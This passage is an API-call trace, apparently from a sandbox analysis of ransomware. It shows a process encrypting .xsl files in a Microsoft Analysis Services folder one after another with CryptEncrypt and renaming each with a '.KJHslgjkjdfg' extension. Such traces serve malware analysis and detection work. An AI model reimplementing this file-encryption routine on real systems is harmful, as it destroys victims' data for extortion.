Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.169] GetProcessHeap () returned 0x2a0000 [0153.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.169] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.169] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.169] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.172] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.172] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.172] GetProcessHeap () returned 0x2a0000 [0153.172] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.172] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0153.172] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.172] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0153.172] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.172] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.172] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.173] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.173] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.173] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.173] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.173] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x851c, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x851c, lpOverlapped=0x0) returned 1 [0153.174] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8520, dwBufLen=0x8520 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8520) returned 1 [0153.175] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.175] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8520, lpOverlapped=0x0) returned 1 [0153.175] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.175] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x85f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.175] SetEndOfFile (hFile=0x118) returned 1 [0153.178] GetProcessHeap () returned 0x2a0000 [0153.178] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.178] GetProcessHeap () returned 0x2a0000 [0153.178] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.kjhslgjkjdfg")) returned 1 [0153.180] CloseHandle (hObject=0x118) returned 1 [0153.180] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0153.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.181] GetProcessHeap () returned 0x2a0000 [0153.181] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.181] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.181] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.181] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0153.184] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.184] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.184] GetProcessHeap () returned 0x2a0000 [0153.184] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0153.184] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0153.184] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.184] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0153.184] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.184] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.184] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.184] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.185] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.185] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.185] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.185] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7d92, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7d92, lpOverlapped=0x0) returned 1 [0153.186] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7da0, dwBufLen=0x7da0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7da0) returned 1 [0153.186] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.186] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7da0, lpOverlapped=0x0) returned 1 [0153.187] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.187] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.187] SetEndOfFile (hFile=0x118) returned 1 [0153.190] GetProcessHeap () returned 0x2a0000 [0153.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0153.190] GetProcessHeap () returned 0x2a0000 [0153.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.kjhslgjkjdfg")) returned 1 [0153.191] CloseHandle (hObject=0x118) returned 1 [0153.191] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0153.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.192] GetProcessHeap () returned 0x2a0000 [0153.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.192] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.192] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.192] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0153.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.197] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.198] GetProcessHeap () returned 0x2a0000 [0153.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0153.198] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0153.198] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.198] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0153.198] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.198] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.198] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.198] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.198] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.198] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.198] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.198] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.199] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9a5b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x9a5b, lpOverlapped=0x0) returned 1 [0153.200] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9a60, dwBufLen=0x9a60 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9a60) returned 1 [0153.200] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.200] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9a60, lpOverlapped=0x0) returned 1 [0153.200] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.200] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.201] SetEndOfFile (hFile=0x118) returned 1 [0153.204] GetProcessHeap () returned 0x2a0000 [0153.204] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0153.204] GetProcessHeap () returned 0x2a0000 [0153.204] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.kjhslgjkjdfg")) returned 1 [0153.205] CloseHandle (hObject=0x118) returned 1 [0153.205] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0153.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.207] GetProcessHeap () returned 0x2a0000 [0153.207] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.207] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.207] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.207] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0153.210] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.210] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.210] GetProcessHeap () returned 0x2a0000 [0153.210] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0153.210] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0153.210] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.210] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0153.210] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.210] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.210] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.211] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.211] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.211] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.211] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.211] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.211] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x745e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x745e, lpOverlapped=0x0) returned 1 [0153.212] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7460, dwBufLen=0x7460 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7460) returned 1 [0153.213] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.213] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7460, lpOverlapped=0x0) returned 1 [0153.213] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.213] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.213] SetEndOfFile (hFile=0x118) returned 1 [0153.216] GetProcessHeap () returned 0x2a0000 [0153.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0153.216] GetProcessHeap () returned 0x2a0000 [0153.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.kjhslgjkjdfg")) returned 1 [0153.218] CloseHandle (hObject=0x118) returned 1 [0153.218] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0153.218] GetProcessHeap () returned 0x2a0000 [0153.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0153.219] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0153.219] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.219] GetProcessHeap () returned 0x2a0000 [0153.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0153.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0153.219] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0153.219] 